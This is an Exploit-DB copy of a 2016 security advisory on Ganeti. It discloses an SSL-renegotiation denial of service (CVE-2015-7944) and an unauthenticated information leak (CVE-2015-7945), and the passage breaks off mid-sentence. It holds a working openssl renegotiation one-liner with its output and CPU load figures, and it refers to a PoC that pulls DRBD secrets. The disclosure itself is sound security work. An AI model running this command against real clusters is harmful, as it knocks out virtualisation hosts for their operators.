Exploit-DB #39169
Description: Ganeti - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2016-01-05
Author: Pierre Kim

Exploit:
=begin
## Advisory Information

Title: Ganeti Security Advisory (DoS, Unauthenticated Info Leak)
Advisory URL: https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html
Date published: 2016-01-05
Vendors contacted: Google, MITRE
Organization contacted: Riseup
Release mode: Released
CVE: CVE-2015-7944, CVE-2015-7945
CNNVD: no current CNNVD



## Product Description

Ganeti is a virtual machine cluster management tool developed by Google.
The solution stack uses either Xen or KVM as the virtualization
platform, LVM for disk management,
and optionally DRBD for disk replication across physical hosts.



## Vulnerabilities Summary

Ganeti has security problems in the default install (with DRBD) and
the default configuration due to old libraries and design problem,
even if the security level in Ganeti seems to be high.

These problems affect every versions until the last released version.

The Ganeti API Daemon is open on every interface by default and an
attacker can DoS this daemon.

It is also possible to abuse this deamon to retrieve information, such
as network topology, DRBD secrets...

A PoC is provided to automaticaly retrieve sensitive information and
a possible scenario, allowing to take over Virtual Machines remotely,
is provided (which worked in my lab in certain conditions).



## Details - CVE-2015-7944 - Unauthenticated Remote DoS

Ganeti is prone to a SSL DoS with SSL renegociation against the RAPI Daemon:

user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client
-connect 10.105.1.200:5080
CONNECTED(00000003)
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
- ---
Certificate chain
 0 s:/CN=ganeti.example.com
   i:/CN=ganeti.example.com
- ---
Server certificate
- -----BEGIN CERTIFICATE-----
[...]
- -----END CERTIFICATE-----
subject=/CN=ganeti.example.com
issuer=/CN=ganeti.example.com
- ---
No client certificate CA names sent
- ---
SSL handshake has read 1003 bytes and written 625 bytes
- ---
New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : AES256-GCM-SHA384
    Session-ID: D75BCF369143CD008D693B022B967149AF0BD420DE385C51227A1921CD29360D
    Session-ID-ctx:
    Master-Key:
7DDD57FD479AE6555D1D42CF2B15B8857C28430189EC5C1331C75C4253E4A9F0FC0672EE2F2438CD055328C5A46C4F5F
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 10 ad 69 39 76 6c 2e 37-cf e7 c2 2c 5f f0 e0 20   ..i9vl.7...,_..
    0010 - 5d 85 5a 79 82 20 6a 1d-f1 6e 51 f5 f2 f7 c6 cf   ].Zy. j..nQ.....
    0020 - c1 85 2d 42 5a 1c 53 b4-cb db de 65 04 2a 02 da   ..-BZ.S....e.*..
    0030 - 5c 7d 82 ef 56 4a a4 a1-88 bd 87 fd af 25 e3 2e   \}..VJ.......%..
    0040 - 28 68 04 a4 01 22 88 72-30 0b 79 1c 75 61 88 d5   (h...".r0.y.ua..
    0050 - c9 f3 e2 0b 02 50 bf c8-29 ac d9 36 f3 76 bd 8b   .....P..)..6.v..
    0060 - 05 e0 d3 a9 f3 8b 8b 11-ef 19 2f 94 92 30 94 58   ........../..0.X
    0070 - aa 64 ba 3f a4 fc 15 4b-74 11 3b c3 c7 e7 d4 33   .d.?...Kt.;....3
    0080 - dd 76 e9 e1 1b 3a 95 c4-50 28 4f 9e bc cc cb f3   .v...:..P(O.....
    0090 - bf 4d 60 92 64 00 af 67-c0 e9 69 e3 98 54 21 dc   .M`.d..g..i..T!.

    Start Time:[PII_REDACTED]
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
- ---
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
[...]


- From my test, 1 thread takes 75% of CPU.

  `top` on the main server (10.105.1.200):
  19734 gnt-rapi  20   0  148980  35364   4696 R  76.8  3.7   0:04.12
ganeti-rapi


Multiple threads will eat all the available CPUs and will likely DoS ganeti:

  21280 gnt-rapi  20   0  148980  35364   4696 R  35.3  3.7   0:05.06
ganeti-rapi
  20968 gnt-rapi  20   0  148980  35364   4696 R  33.4  3.7   0:09.92
ganeti-rapi
  20969 gnt-rapi  20   0  148980  35364   4696 R  32.4  3.7   0:09.95
ganeti-rapi
  21282 gnt-rapi  20   0  148980  35364   4696 R  32.4  3.7   0:04.53
ganeti-rapi
  21281 gnt-rapi  20   0  148980  35364   4696 R  31.4  3.7   0:04.78
ganeti-rapi


An attacker can use tools from THC to perform SSL DoS too (openssl was
the fastest solution out of the box):

  https://www.thc.org/thc-ssl-dos/



## Details - CVE-2015-7945 - Unauthenticated Remote Information Disclosure

This vulnerability allows an attacker to retrieve data using
information disclosure,
allowing him, depending on the configuration, to remotely hack VMs.
A PoC (GHETTO-BLASTER which works in Linux (Debian, Kali) and FreeBSD)
is provided as a base64-encoded file to this email.
This PoC is also available here:
https://pierrekim.github.io/advisories/GHETTO-BLASTER.


I. Design Security Problem with the RAPI Daemon

In the Ganeti master node, when using /usr/sbin/gnt-network, a
non-root user can't get information (debian-01 is the ganeti master
node):

  user@debian-01:~$ /usr/sbin/gnt-network list
  It seems you don't have permissions to connect to the master daemon.
  Please retry as a different user.
  user@debian-01:~$

This is common for all gnt-tools and seems to be a security design.

It appears Genati by default is too open wh